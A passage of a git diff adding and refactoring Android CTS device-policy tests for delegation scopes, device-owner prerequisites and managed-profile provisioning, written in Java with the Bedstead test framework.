+import static android.app.admin.DevicePolicyManager.DELEGATION_NETWORK_LOGGING;
+import static android.app.admin.DevicePolicyManager.DELEGATION_SECURITY_LOGGING;
+import static android.app.admin.DevicePolicyManager.EXTRA_DELEGATION_SCOPES;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.junit.Assert.assertThrows;
+
+import android.app.admin.DevicePolicyManager;
+import android.content.ComponentName;
+import android.content.IntentFilter;
+
+import com.android.bedstead.harrier.BedsteadJUnit4;
+import com.android.bedstead.harrier.DeviceState;
+import com.android.bedstead.harrier.annotations.Postsubmit;
+import com.android.bedstead.harrier.annotations.enterprise.CanSetPolicyTest;
+import com.android.bedstead.harrier.annotations.enterprise.CannotSetPolicyTest;
+import com.android.bedstead.harrier.annotations.enterprise.EnsureHasNoDelegate;
+import com.android.bedstead.harrier.annotations.enterprise.PositivePolicyTest;
+import com.android.bedstead.harrier.policies.Delegation;
+import com.android.bedstead.harrier.policies.NetworkLoggingDelegation;
+import com.android.bedstead.harrier.policies.SecurityLoggingDelegation;
+import com.android.bedstead.nene.TestApis;
+import com.android.bedstead.nene.users.UserReference;
+import com.android.bedstead.testapp.TestApp;
+import com.android.bedstead.testapp.TestAppInstance;
+import com.android.bedstead.testapp.TestAppProvider;
+import com.android.eventlib.truth.EventLogsSubject;
+
+import org.junit.ClassRule;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.Arrays;
+import java.util.Collections;
+import java.util.List;
+
+/**
+ * Tests that delegation scopes can be correctly set via {@link
+ * DevicePolicyManager#setDelegatedScopes(ComponentName, String, List)}, and that subsequent access
+ * and app notification works correctly.
+ */
+@RunWith(BedsteadJUnit4.class)
+@Postsubmit(reason = "new test")
+// TODO(b/198584060): clean up the TestApp install API surface and remove the
+//  requirement to manually uninstall or use the 'try' block.
+@EnsureHasNoDelegate
+public final class DelegationScopesTest {
+
+    private static final String TEST_SCOPE = DELEGATION_CERT_INSTALL;
+    private static final String TEST_SCOPE_2 = DELEGATION_APP_RESTRICTIONS;
+
+    @ClassRule @Rule
+    public static final DeviceState sDeviceState = new DeviceState();
+
+    private static final TestApis sTestApis = new TestApis();
+    private static final UserReference sUser = sTestApis.users().instrumented();
+
+    private static final TestAppProvider sTestAppProvider = new TestAppProvider();
+    private static final TestApp sTestApp = sTestAppProvider
+            .query().whereActivities().isNotEmpty().get();
+    private static final TestApp sTestApp2 = sTestAppProvider.any();
+
+    @Test
+    @PositivePolicyTest(policy = Delegation.class)
+    public void getDelegatedScopes_returnsFromSetDelegatedScopes() {
+        try (TestAppInstance testApp = sTestApp.install(sUser)) {
+            try {
+                sDeviceState.dpc().devicePolicyManager().setDelegatedScopes(
+                        sDeviceState.dpc().componentName(),
+                        testApp.testApp().packageName(),
+                        Arrays.asList(TEST_SCOPE, TEST_SCOPE_2));
+                assertThat(sDeviceState.dpc().devicePolicyManager()
+                        .getDelegatedScopes(
+                                sDeviceState.dpc().componentName(),
+                                testApp.testApp().packageName()))
+                        .containsExactly(TEST_SCOPE, TEST_SCOPE_2);
+            } finally {
+                resetDelegatedScopes(testApp);
+            }
+        }
+    }
+
+    @Test
+    @CannotSetPolicyTest(policy = Delegation.class, includeNonDeviceAdminStates = false)
+    public void setDelegatedScopes_invalidAdmin_throwsSecurityException() {
+        try (TestAppInstance testApp = sTestApp.install(sUser)) {
+            assertThrows(SecurityException.class, () ->
+                    sDeviceState.dpc().devicePolicyManager().setDelegatedScopes(
+                            sDeviceState.dpc().componentName(),
+                            testApp.testApp().packageName(),
+                            Arrays.asList(TEST_SCOPE, TEST_SCOPE_2)));
+        }
+    }
+
+    @Test
+    @CannotSetPolicyTest(policy = Delegation.class)
+    public void getDelegatedScopes_invalidAdmin_throwsSecurityException() {
+        try (TestAppInstance testApp = sTestApp.install(sUser)) {
+            assertThrows(SecurityException.class, () ->
+                    sDeviceState.dpc().devicePolicyManager().getDelegatedScopes(
+                            sDeviceState.dpc().componentName(), testApp.testApp().packageName()));
+        }
+    }
+
+    @Test
+    @PositivePolicyTest(policy = Delegation.class)
+    public void getDelegatedScopes_returnsLatestFromSetDelegatedScopes() {
+        try (TestAppInstance testApp = sTestApp.install(sUser)) {
+
+            try {
+                sDeviceState.dpc().devicePolicyManager().setDelegatedScopes(
+                        sDeviceState.dpc().componentName(),
+                        testApp.testApp().packageName(),
+                        Collections.singletonList(TEST_SCOPE));
+                sDeviceState.dpc().devicePolicyManager().setDelegatedScopes(
+                        sDeviceState.dpc().componentName(),
+                        testApp.testApp().packageName(),
+                        Collections.singletonList(TEST_SCOPE_2));
+
+                assertThat(sDeviceState.dpc().devicePolicyManager()
+                        .getDelegatedScopes(
+                                sDeviceState.dpc().componentName(),
+                                testApp.testApp().packageName()))
+                        .containsExactly(TEST_SCOPE_2);
+
+            } finally {
+                resetDelegatedScopes(testApp);
+            }
+        }
+    }
+
+    @Test
+    @CanSetPolicyTest(policy = Delegation.class)
+    public void setDelegatedScopes_uninstalledPackage_throwsExceptionWithoutChangingState() {
+        // This test cannot be split into two without ErrorProne complaining that an Exception is
+        // being caught without a fail() on the second test.
+        String uninstalledPackage = "uninstalled_package_name";
+        assertThrows(Exception.class, () ->
+                sDeviceState.dpc().devicePolicyManager().setDelegatedScopes(
+                        sDeviceState.dpc().componentName(),
+                        uninstalledPackage,
+                        Collections.singletonList(TEST_SCOPE)));
+        assertThat(sDeviceState.dpc().devicePolicyManager()
+                .getDelegatedScopes(sDeviceState.dpc().componentName(), uninstalledPackage))
+                .isEmpty();
+    }
+
+    @Test
+    @PositivePolicyTest(policy = Delegation.class)
+    public void getDelegatePackages_oneApp_twoScopes_returnsFromSetDelegatedScopes() {
+        try (TestAppInstance testApp = sTestApp.install(sUser)) {
+
+            try {
+                sDeviceState.dpc().devicePolicyManager().setDelegatedScopes(
+                        sDeviceState.dpc().componentName(),
+                        testApp.testApp().packageName(),
+                        Arrays.asList(TEST_SCOPE, TEST_SCOPE_2));
+
+                assertThat(sDeviceState.dpc().devicePolicyManager()
+                        .getDelegatePackages(sDeviceState.dpc().componentName(), TEST_SCOPE))
+                        .containsExactly(testApp.testApp().packageName());
+                assertThat(sDeviceState.dpc().devicePolicyManager()
+                        .getDelegatePackages(sDeviceState.dpc().componentName(), TEST_SCOPE_2))
+                        .containsExactly(testApp.testApp().packageName());
+
+            } finally {
+                resetDelegatedScopes(testApp);
+            }
+        }
+    }
+
+    @Test
+    @CannotSetPolicyTest(policy = Delegation.class, includeNonDeviceAdminStates = false)
+    public void getDelegatePackages_invalidAdmin_throwsSecurityException() {
+        try (TestAppInstance testApp = sTestApp.install(sUser)) {
+            assertThrows(SecurityException.class, () ->
+                    sDeviceState.dpc().devicePolicyManager().getDelegatePackages(
+                            sDeviceState.dpc().componentName(), testApp.testApp().packageName()));
+        }
+    }
+
+    @Test
+    @PositivePolicyTest(policy = Delegation.class)
+    public void getDelegatePackages_twoApps_differentScopes_returnsFromSetDelegatedScopes() {
+        try (TestAppInstance testApp = sTestApp.install(sUser);
+             TestAppInstance testApp2 = sTestApp2.install(sUser)) {
+
+            try {
+                sDeviceState.dpc().devicePolicyManager().setDelegatedScopes(
+                        sDeviceState.dpc().componentName(),
+                        testApp.testApp().packageName(),
+                        Collections.singletonList(TEST_SCOPE));
+                sDeviceState.dpc().devicePolicyManager().setDelegatedScopes(
+                        sDeviceState.dpc().componentName(),
+                        testApp2.testApp().packageName(),
+                        Collections.singletonList(TEST_SCOPE_2));
+
+                assertThat(sDeviceState.dpc().devicePolicyManager()
+                        .getDelegatePackages(sDeviceState.dpc().componentName(), TEST_SCOPE))
+                        .containsExactly(testApp.testApp().packageName());
+                assertThat(sDeviceState.dpc().devicePolicyManager()
+                        .getDelegatePackages(sDeviceState.dpc().componentName(), TEST_SCOPE_2))
+                        .containsExactly(testApp2.testApp().packageName());
+
+            } finally {
+                resetDelegatedScopes(testApp);
+                resetDelegatedScopes(testApp2);
+            }
+        }
+    }
+
+    @Test
+    @PositivePolicyTest(policy = Delegation.class)
+    public void getDelegatePackages_twoApps_sameScope_returnsFromSetDelegatedScopes() {
+        try (TestAppInstance testApp = sTestApp.install(sUser);
+             TestAppInstance testApp2 = sTestApp2.install(sUser)) {
+
+            try {
+                sDeviceState.dpc().devicePolicyManager().setDelegatedScopes(
+                        sDeviceState.dpc().componentName(),
+                        testApp.testApp().packageName(),
+                        Collections.singletonList(TEST_SCOPE));
+                sDeviceState.dpc().devicePolicyManager().setDelegatedScopes(
+                        sDeviceState.dpc().componentName(),
+                        testApp2.testApp().packageName(),
+                        Collections.singletonList(TEST_SCOPE));
+
+                assertThat(sDeviceState.dpc().devicePolicyManager()
+                        .getDelegatePackages(sDeviceState.dpc().componentName(), TEST_SCOPE))
+                        .containsExactly(
+                                testApp.testApp().packageName(),
+                                testApp2.testApp().packageName());
+
+            } finally {
+                resetDelegatedScopes(testApp);
+                resetDelegatedScopes(testApp2);
+            }
+        }
+    }
+
+    @Test
+    @PositivePolicyTest(policy = NetworkLoggingDelegation.class)
+    public void setDelegatedScopes_networkLogging_validAdminType_noException() {
+        try (TestAppInstance testApp = sTestApp.install(sUser)) {
+            try {
+                sDeviceState.dpc().devicePolicyManager().setDelegatedScopes(
+                        sDeviceState.dpc().componentName(),
+                        testApp.testApp().packageName(),
+                        Collections.singletonList(DELEGATION_NETWORK_LOGGING));
+            } finally {
+                resetDelegatedScopes(testApp);
+            }
+        }
+    }
+
+    @Test
+    @CannotSetPolicyTest(
+            policy = NetworkLoggingDelegation.class, includeNonDeviceAdminStates = false)
+    public void setDelegatedScopes_networkLogging_invalidAdminType_throwsSecurityException() {
+        try (TestAppInstance testApp = sTestApp.install(sUser)) {
+            try {
+                assertThrows(SecurityException.class, () ->
+                        sDeviceState.dpc().devicePolicyManager().setDelegatedScopes(
+                                sDeviceState.dpc().componentName(),
+                                testApp.testApp().packageName(),
+                                Collections.singletonList(DELEGATION_NETWORK_LOGGING)));
+            } finally {
+                resetDelegatedScopes(testApp);
+            }
+        }
+    }
+
+    @Test
+    @PositivePolicyTest(policy = SecurityLoggingDelegation.class)
+    // TODO(b/198774281): add a negative policy test (in line with all the others here) once we can
+    //  correctly mark security logging delegation as possible for COPE profile POs.
+    public void setDelegatedScopes_securityLogging_validAdminType_noException() {
+        try (TestAppInstance testApp = sTestApp.install(sUser)) {
+            try {
+                sDeviceState.dpc().devicePolicyManager().setDelegatedScopes(
+                        sDeviceState.dpc().componentName(),
+                        testApp.testApp().packageName(),
+                        Collections.singletonList(DELEGATION_SECURITY_LOGGING));
+            } finally {
+                resetDelegatedScopes(testApp);
+            }
+        }
+    }
+
+    @Test
+    @PositivePolicyTest(policy = Delegation.class)
+    public void setDelegatedScopes_certSelection_settingSecondApp_revokesFirstApp() {
+        try (TestAppInstance testApp = sTestApp.install(sUser);
+             TestAppInstance testApp2 = sTestApp2.install(sUser)) {
+
+            try {
+                sDeviceState.dpc().devicePolicyManager().setDelegatedScopes(
+                        sDeviceState.dpc().componentName(),
+                        testApp.testApp().packageName(),
+                        Collections.singletonList(DELEGATION_CERT_SELECTION));
+                sDeviceState.dpc().devicePolicyManager().setDelegatedScopes(
+                        sDeviceState.dpc().componentName(),
+                        testApp2.testApp().packageName(),
+                        Collections.singletonList(DELEGATION_CERT_SELECTION));
+
+                assertThat(sDeviceState.dpc().devicePolicyManager()
+                        .getDelegatedScopes(
+                                sDeviceState.dpc().componentName(),
+                                testApp.testApp().packageName()))
+                        .isEmpty();
+                assertThat(sDeviceState.dpc().devicePolicyManager()
+                        .getDelegatedScopes(
+                                sDeviceState.dpc().componentName(),
+                                testApp2.testApp().packageName()))
+                        .containsExactly(DELEGATION_CERT_SELECTION);
+
+            } finally {
+                resetDelegatedScopes(testApp);
+                resetDelegatedScopes(testApp2);
+            }
+        }
+    }
+
+    @Test
+    @PositivePolicyTest(policy = NetworkLoggingDelegation.class)
+    public void setDelegatedScopes_networkLogging_settingSecondApp_revokesFirstApp() {
+        try (TestAppInstance testApp = sTestApp.install(sUser);
+             TestAppInstance testApp2 = sTestApp2.install(sUser)) {
+
+            try {
+                sDeviceState.dpc().devicePolicyManager().setDelegatedScopes(
+                        sDeviceState.dpc().componentName(),
+                        testApp.testApp().packageName(),
+                        Collections.singletonList(DELEGATION_NETWORK_LOGGING));
+                sDeviceState.dpc().devicePolicyManager().setDelegatedScopes(
+                        sDeviceState.dpc().componentName(),
+                        testApp2.testApp().packageName(),
+                        Collections.singletonList(DELEGATION_NETWORK_LOGGING));
+
+                assertThat(sDeviceState.dpc().devicePolicyManager()
+                        .getDelegatedScopes(
+                                sDeviceState.dpc().componentName(),
+                                testApp.testApp().packageName()))
+                        .isEmpty();
+                assertThat(sDeviceState.dpc().devicePolicyManager()
+                        .getDelegatedScopes(
+                                sDeviceState.dpc().componentName(),
+                                testApp2.testApp().packageName()))
+                        .containsExactly(DELEGATION_NETWORK_LOGGING);
+
+            } finally {
+                resetDelegatedScopes(testApp);
+                resetDelegatedScopes(testApp2);
+            }
+        }
+    }
+
+    @Test
+    @PositivePolicyTest(policy = SecurityLoggingDelegation.class)
+    public void setDelegatedScopes_securityLogging_settingSecondApp_revokesFirstApp() {
+        try (TestAppInstance testApp = sTestApp.install(sUser);
+             TestAppInstance testApp2 = sTestApp2.install(sUser)) {
+
+            try {
+                sDeviceState.dpc().devicePolicyManager().setDelegatedScopes(
+                        sDeviceState.dpc().componentName(),
+                        testApp.testApp().packageName(),
+                        Collections.singletonList(DELEGATION_SECURITY_LOGGING));
+                sDeviceState.dpc().devicePolicyManager().setDelegatedScopes(
+                        sDeviceState.dpc().componentName(),
+                        testApp2.testApp().packageName(),
+                        Collections.singletonList(DELEGATION_SECURITY_LOGGING));
+
+                assertThat(sDeviceState.dpc().devicePolicyManager()
+                        .getDelegatedScopes(
+                                sDeviceState.dpc().componentName(),
+                                testApp.testApp().packageName()))
+                        .isEmpty();
+                assertThat(sDeviceState.dpc().devicePolicyManager()
+                        .getDelegatedScopes(
+                                sDeviceState.dpc().componentName(),
+                                testApp2.testApp().packageName()))
+                        .containsExactly(DELEGATION_SECURITY_LOGGING);
+
+            } finally {
+                resetDelegatedScopes(testApp);
+                resetDelegatedScopes(testApp2);
+            }
+        }
+    }
+
+    @Test
+    @PositivePolicyTest(policy = Delegation.class)
+    public void setDelegatedScopes_delegatedPackageReceivesScopesFromBroadcast() {
+        try (TestAppInstance testApp = sTestApp.install(sUser)) {
+            // TODO(b/198769413): we should not need to start (or query for) an activity, but the
+            //  event is not received for some reason without it.
+            testApp.activities().any().start();
+            // TODO(b/198588980): automatically register every test app for this broadcast.
+            testApp.registerReceiver(
+                    new IntentFilter(ACTION_APPLICATION_DELEGATION_SCOPES_CHANGED));
+
+            try {
+                sDeviceState.dpc().devicePolicyManager().setDelegatedScopes(
+                        sDeviceState.dpc().componentName(),
+                        testApp.testApp().packageName(),
+                        Arrays.asList(TEST_SCOPE, TEST_SCOPE_2));
+
+                // TODO(b/198294382): support .stringListValue().contains(List<String>) to
+                //  avoid needing to explicitly list the strings again here.
+                EventLogsSubject.assertThat(testApp.events().broadcastReceived()
+                        .whereIntent().action()
+                        .isEqualTo(ACTION_APPLICATION_DELEGATION_SCOPES_CHANGED)
+                        .whereIntent().extras().key(EXTRA_DELEGATION_SCOPES)
+                        .stringListValue().contains(TEST_SCOPE, TEST_SCOPE_2))
+                        .eventOccurred();
+
+            } finally {
+                resetDelegatedScopes(testApp);
+            }
+        }
+    }
+
+    private void resetDelegatedScopes(TestAppInstance testApp) {
+        sDeviceState.dpc().devicePolicyManager().setDelegatedScopes(
+                sDeviceState.dpc().componentName(),
+                testApp.testApp().packageName(),
+                /* scopes= */ Collections.emptyList());
+    }
+}
diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/DeviceOwnerPrerequisitesTest.java b/tests/devicepolicy/src/android/devicepolicy/cts/DeviceOwnerPrerequisitesTest.java
new file mode 100644
index 0000000..264dd12
--- /dev/null
+++ b/tests/devicepolicy/src/android/devicepolicy/cts/DeviceOwnerPrerequisitesTest.java
@@ -0,0 +1,131 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.devicepolicy.cts;
+
+import static com.android.queryable.queries.ServiceQuery.service;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.junit.Assert.assertThrows;
+
+import android.accounts.Account;
+import android.accounts.AccountManager;
+import android.app.admin.DevicePolicyManager;
+import android.content.Context;
+
+import com.android.bedstead.harrier.BedsteadJUnit4;
+import com.android.bedstead.harrier.DeviceState;
+import com.android.bedstead.harrier.annotations.Postsubmit;
+import com.android.bedstead.harrier.annotations.enterprise.EnsureHasNoDeviceOwner;
+import com.android.bedstead.harrier.annotations.enterprise.EnsureHasNoProfileOwner;
+import com.android.bedstead.nene.TestApis;
+import com.android.bedstead.nene.exceptions.AdbException;
+import com.android.bedstead.nene.utils.Poll;
+import com.android.bedstead.nene.utils.ShellCommand;
+import com.android.bedstead.remotedpc.RemoteDpc;
+import com.android.bedstead.testapp.TestApp;
+import com.android.bedstead.testapp.TestAppInstance;
+import com.android.bedstead.testapp.TestAppProvider;
+
+import org.junit.Before;
+import org.junit.ClassRule;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(BedsteadJUnit4.class)
+public final class DeviceOwnerPrerequisitesTest {
+    @ClassRule
+    @Rule
+    public static final DeviceState sDeviceState = new DeviceState();
+
+    private static final Context sContext = TestApis.context().instrumentedContext();
+    private static final TestAppProvider sTestAppProvider = new TestAppProvider();
+    private static final TestApp sAccountManagementApp = sTestAppProvider
+            .query()
+            // TODO(b/198417584): Support Querying XML resources in TestApp.
+            // TODO(b/198590265) Filter for the correct account type.
+            .whereServices().contains(
+                    service().serviceClass().className()
+                            .isEqualTo("com.android.bedstead.testapp.AccountManagementApp"
+                                    + ".TestAppAccountAuthenticatorService"))
+            .get();
+    private static final TestApp sDpcApp = sTestAppProvider
+            .query()
+            .wherePackageName().isEqualTo(RemoteDpc.DPC_COMPONENT_NAME.getPackageName())
+            .get();
+
+    private static final String EXISTING_ACCOUNT_TYPE =
+            "com.android.bedstead.testapp.AccountManagementApp.account.type";
+    private static final String SET_DEVICE_OWNER_COMMAND = "dpm set-device-owner";
+    private static final Account ACCOUNT_WITH_EXISTING_TYPE
+            = new Account("user0", EXISTING_ACCOUNT_TYPE);
+    private static final String TEST_PASSWORD = "password";
+
+    private AccountManager mAccountManager;
+
+    @Before
+    public void setUp() {
+        mAccountManager = sContext.getSystemService(AccountManager.class);
+    }
+
+    @Test
+    @Postsubmit(reason = "new test with sleep")
+    @EnsureHasNoDeviceOwner
+    @EnsureHasNoProfileOwner
+    public void setDeviceOwnerViaAdb_deviceHasAccount_fails()
+            throws InterruptedException {
+        try (TestAppInstance accountAuthenticatorApp =
+                     sAccountManagementApp.install(TestApis.users().instrumented());
+             TestAppInstance dpcApp = sDpcApp.install(TestApis.users().instrumented())) {
+            addAccount();
+
+            assertThrows(AdbException.class, () ->
+                    ShellCommand
+                            .builderForUser(
+                                    TestApis.users().instrumented(), SET_DEVICE_OWNER_COMMAND)
+                            .addOperand(RemoteDpc.DPC_COMPONENT_NAME.flattenToString())
+                            .execute());
+            assertThat(TestApis.devicePolicy().getDeviceOwner()).isNull();
+            DevicePolicyManager dpm = TestApis.context().instrumentedContext()
+                    .getSystemService(DevicePolicyManager.class);
+            // After attempting and failing to set the device owner, it will remain as an active
+            // admin for a short while
+            Poll.forValue("Active admins", dpm::getActiveAdmins)
+                    .toMeet(i -> i == null || !i.contains(RemoteDpc.DPC_COMPONENT_NAME))
+                    .errorOnFail("Expected active admins to not contain RemoteDPC")
+                    .await();
+        }
+    }
+
+    /**
+     * Blocks until an account is added.
+     */
+    private void addAccount() {
+        Poll.forValue("account created success", this::addAccountOnce)
+                .toBeEqualTo(true)
+                .errorOnFail()
+                .await();
+    }
+
+    private boolean addAccountOnce() {
+        return mAccountManager.addAccountExplicitly(
+                ACCOUNT_WITH_EXISTING_TYPE,
+                TEST_PASSWORD,
+                /* userdata= */ null);
+    }
+}
diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/DevicePolicyManagerTest.java b/tests/devicepolicy/src/android/devicepolicy/cts/DevicePolicyManagerTest.java
index b7f0ec2..028bb31 100644
--- a/tests/devicepolicy/src/android/devicepolicy/cts/DevicePolicyManagerTest.java
+++ b/tests/devicepolicy/src/android/devicepolicy/cts/DevicePolicyManagerTest.java
@@ -24,6 +24,8 @@
 import static com.google.common.truth.Truth.assertThat;
 import static com.google.common.truth.Truth.assertWithMessage;
 
+import static org.junit.Assert.assertThrows;
+
 import android.accounts.Account;
 import android.accounts.AccountManager;
 import android.app.AppOpsManager;
@@ -44,14 +46,15 @@
 import com.android.bedstead.deviceadminapp.DeviceAdminApp;
 import com.android.bedstead.harrier.BedsteadJUnit4;
 import com.android.bedstead.harrier.DeviceState;
-import com.android.bedstead.harrier.annotations.EnsureHasNoWorkProfile;
+import com.android.bedstead.harrier.annotations.EnsureDoesNotHavePermission;
 import com.android.bedstead.harrier.annotations.EnsureHasPermission;
+import com.android.bedstead.harrier.annotations.Postsubmit;
 import com.android.bedstead.harrier.annotations.RequireDoesNotHaveFeature;
 import com.android.bedstead.harrier.annotations.RequireFeature;
 import com.android.bedstead.harrier.annotations.RequireRunOnPrimaryUser;
-import com.android.bedstead.harrier.annotations.Postsubmit;
+import com.android.bedstead.harrier.annotations.enterprise.EnsureHasDeviceOwner;
+import com.android.bedstead.harrier.annotations.enterprise.EnsureHasNoDpc;
 import com.android.bedstead.nene.TestApis;
-import com.android.bedstead.nene.packages.Package;
 import com.android.bedstead.nene.permissions.PermissionContext;
 import com.android.compatibility.common.util.SystemUtil;
 
@@ -75,7 +78,6 @@
     private static final UserManager sUserManager = sContext.getSystemService(UserManager.class);
     private static final SharedPreferences sSharedPreferences =
             sContext.getSharedPreferences("required-apps.txt", Context.MODE_PRIVATE);
-    private static final TestApis sTestApis = new TestApis();
 
     private static final ComponentName DEVICE_ADMIN_COMPONENT_NAME =
             DeviceAdminApp.deviceAdminComponentName(sContext);
@@ -108,14 +110,12 @@
     @Rule
     public static final DeviceState sDeviceState = new DeviceState();
 
-
     @RequireRunOnPrimaryUser
-    @EnsureHasNoWorkProfile
+    @EnsureHasNoDpc
     @RequireFeature(PackageManager.FEATURE_DEVICE_ADMIN)
     @RequireFeature(PackageManager.FEATURE_MANAGED_USERS)
-    @Test
-    @Postsubmit(reason="b/181207615 flaky")
     @EnsureHasPermission(MANAGE_PROFILE_AND_DEVICE_OWNERS)
+    @Test
     public void newlyProvisionedManagedProfile_createsProfile() throws Exception {
         UserHandle profile = null;
         try {
@@ -126,18 +126,17 @@
             assertThat(profile).isNotNull();
         } finally {
             if (profile != null) {
-                sTestApis.users().find(profile).remove();
+                TestApis.users().find(profile).remove();
             }
         }
     }
 
     @RequireRunOnPrimaryUser
-    @EnsureHasNoWorkProfile
+    @EnsureHasNoDpc
     @RequireFeature(PackageManager.FEATURE_DEVICE_ADMIN)
     @RequireFeature(PackageManager.FEATURE_MANAGED_USERS)
-    @Test
-    @Postsubmit(reason="b/181207615 flaky")
     @EnsureHasPermission(MANAGE_PROFILE_AND_DEVICE_OWNERS)
+    @Test
     public void newlyProvisionedManagedProfile_createsManagedProfile() throws Exception {
         UserHandle profile = null;
         try {
@@ -148,18 +147,17 @@
             assertThat(sUserManager.isManagedProfile(profile.getIdentifier())).isTrue();
         } finally {
             if (profile != null) {
-                sTestApis.users().find(profile).remove();
+                TestApis.users().find(profile).remove();
             }
         }
     }
 
     @RequireRunOnPrimaryUser
-    @EnsureHasNoWorkProfile
+    @EnsureHasNoDpc
     @RequireFeature(PackageManager.FEATURE_DEVICE_ADMIN)
     @RequireFeature(PackageManager.FEATURE_MANAGED_USERS)
-    @Test
-    @Postsubmit(reason="b/181207615 flaky")
     @EnsureHasPermission({MANAGE_PROFILE_AND_DEVICE_OWNERS, INTERACT_ACROSS_USERS_FULL})
+    @Test
     public void newlyProvisionedManagedProfile_setsActiveAdmin() throws Exception {
         UserHandle profile = null;
         try {
@@ -172,18 +170,17 @@
                     .isEqualTo(DEVICE_ADMIN_COMPONENT_NAME);
         } finally {
             if (profile != null) {
-                sTestApis.users().find(profile).remove();
+                TestApis.users().find(profile).remove();
             }
         }
     }
 
     @RequireRunOnPrimaryUser
-    @EnsureHasNoWorkProfile
+    @EnsureHasNoDpc
     @RequireFeature(PackageManager.FEATURE_DEVICE_ADMIN)
     @RequireFeature(PackageManager.FEATURE_MANAGED_USERS)
-    @Test
-    @Postsubmit(reason="b/181207615 flaky")
     @EnsureHasPermission({MANAGE_PROFILE_AND_DEVICE_OWNERS, INTERACT_ACROSS_USERS})
+    @Test
     public void newlyProvisionedManagedProfile_setsProfileOwner() throws Exception {
         UserHandle profile = null;
         try {
@@ -195,19 +192,18 @@
             assertThat(profileDpm.isProfileOwnerApp(sContext.getPackageName())).isTrue();
         } finally {
             if (profile != null) {
-                sTestApis.users().find(profile).remove();
+                TestApis.users().find(profile).remove();
             }
         }
     }
 
     @RequireRunOnPrimaryUser
-    @EnsureHasNoWorkProfile
+    @EnsureHasNoDpc
     @RequireFeature(PackageManager.FEATURE_DEVICE_ADMIN)
     @RequireFeature(PackageManager.FEATURE_MANAGED_USERS)
-    @Test
-    @Postsubmit(reason="new test")
-    @Ignore
     @EnsureHasPermission(MANAGE_PROFILE_AND_DEVICE_OWNERS)
+    @Ignore
+    @Test
     public void newlyProvisionedManagedProfile_copiesAccountToProfile() throws Exception {
         UserHandle profile = null;
         try {
@@ -221,18 +217,17 @@
             assertThat(hasTestAccount(profile)).isTrue();
         } finally {
             if (profile != null) {
-                sTestApis.users().find(profile).remove();
+                TestApis.users().find(profile).remove();
             }
         }
     }
 
     @RequireRunOnPrimaryUser
-    @EnsureHasNoWorkProfile
+    @EnsureHasNoDpc
     @RequireFeature(PackageManager.FEATURE_DEVICE_ADMIN)
     @RequireFeature(PackageManager.FEATURE_MANAGED_USERS)
-    @Test
-    @Postsubmit(reason="new test")
     @EnsureHasPermission(MANAGE_PROFILE_AND_DEVICE_OWNERS)
+    @Test
     public void newlyProvisionedManagedProfile_removesAccountFromParentByDefault()
             throws Exception {
         UserHandle profile = null;
@@ -247,19 +242,18 @@
             assertThat(hasTestAccount(sContext.getUser())).isFalse();
         } finally {
             if (profile != null) {
-                sTestApis.users().find(profile).remove();
+                TestApis.users().find(profile).remove();
             }
         }
     }
 
     @RequireRunOnPrimaryUser
-    @EnsureHasNoWorkProfile
+    @EnsureHasNoDpc
     @RequireFeature(PackageManager.FEATURE_DEVICE_ADMIN)
     @RequireFeature(PackageManager.FEATURE_MANAGED_USERS)
-    @Test
-    @Ignore
-    @Postsubmit(reason="new test")
     @EnsureHasPermission(MANAGE_PROFILE_AND_DEVICE_OWNERS)
+    @Ignore
+    @Test
     public void newlyProvisionedManagedProfile_keepsAccountInParentIfRequested() throws Exception {
         UserHandle profile = null;
         try {
@@ -274,18 +268,17 @@
             assertThat(hasTestAccount(sContext.getUser())).isTrue();
         } finally {
             if (profile != null) {
-                sTestApis.users().find(profile).remove();
+                TestApis.users().find(profile).remove();
             }
         }
     }
 
     @RequireRunOnPrimaryUser
-    @EnsureHasNoWorkProfile
+    @EnsureHasNoDpc
     @RequireFeature(PackageManager.FEATURE_DEVICE_ADMIN)
     @RequireFeature(PackageManager.FEATURE_MANAGED_USERS)
-    @Test
-    @Postsubmit(reason="new test")
     @EnsureHasPermission(MANAGE_PROFILE_AND_DEVICE_OWNERS)
+    @Test
     public void newlyProvisionedManagedProfile_removesNonRequiredAppsFromProfile()
             throws Exception {
         UserHandle profile = null;
@@ -301,18 +294,17 @@
             assertThat(getInstalledPackagesOnUser(nonRequiredApps, profile)).isEmpty();
         } finally {
             if (profile != null) {
-                sTestApis.users().find(profile).remove();
+                TestApis.users().find(profile).remove();
             }
         }
     }
 
     @RequireRunOnPrimaryUser
-    @EnsureHasNoWorkProfile
+    @EnsureHasNoDpc
     @RequireFeature(PackageManager.FEATURE_DEVICE_ADMIN)
     @RequireFeature(PackageManager.FEATURE_MANAGED_USERS)
-    @Test
-    @Postsubmit(reason="new test")
     @EnsureHasPermission(MANAGE_PROFILE_AND_DEVICE_OWNERS)
+    @Test
     public void newlyProvisionedManagedProfile_setsCrossProfilePackages()
             throws Exception {
         UserHandle profile = null;
@@ -327,7 +319,7 @@
             }
         } finally {
             if (profile != null) {
-                sTestApis.users().find(profile).remove();
+                TestApis.users().find(profile).remove();
             }
         }
     }
@@ -392,11 +384,8 @@
     }
 
     private boolean isPackageInstalledOnUser(String packageName, UserHandle user) {
-        Package resolvedPackage = sTestApis.packages().find(packageName).resolve();
-        if (resolvedPackage == null) {
-            return false;
-        }
-        return resolvedPackage.installedOnUsers().contains(sTestApis.users().find(user));
+        return TestApis.packages().find(packageName)
+                .installedOnUser(user);
     }
 
     private Set<String> getConfigurableDefaultCrossProfilePackages() {
@@ -416,15 +405,16 @@
             return sContext;
         }
         try (PermissionContext p =
-                     sTestApis.permissions().withPermission(INTERACT_ACROSS_USERS_FULL)) {
+                     TestApis.permissions().withPermission(INTERACT_ACROSS_USERS_FULL)) {
             return sContext.createContextAsUser(user, /* flags= */ 0);
         }
     }
 
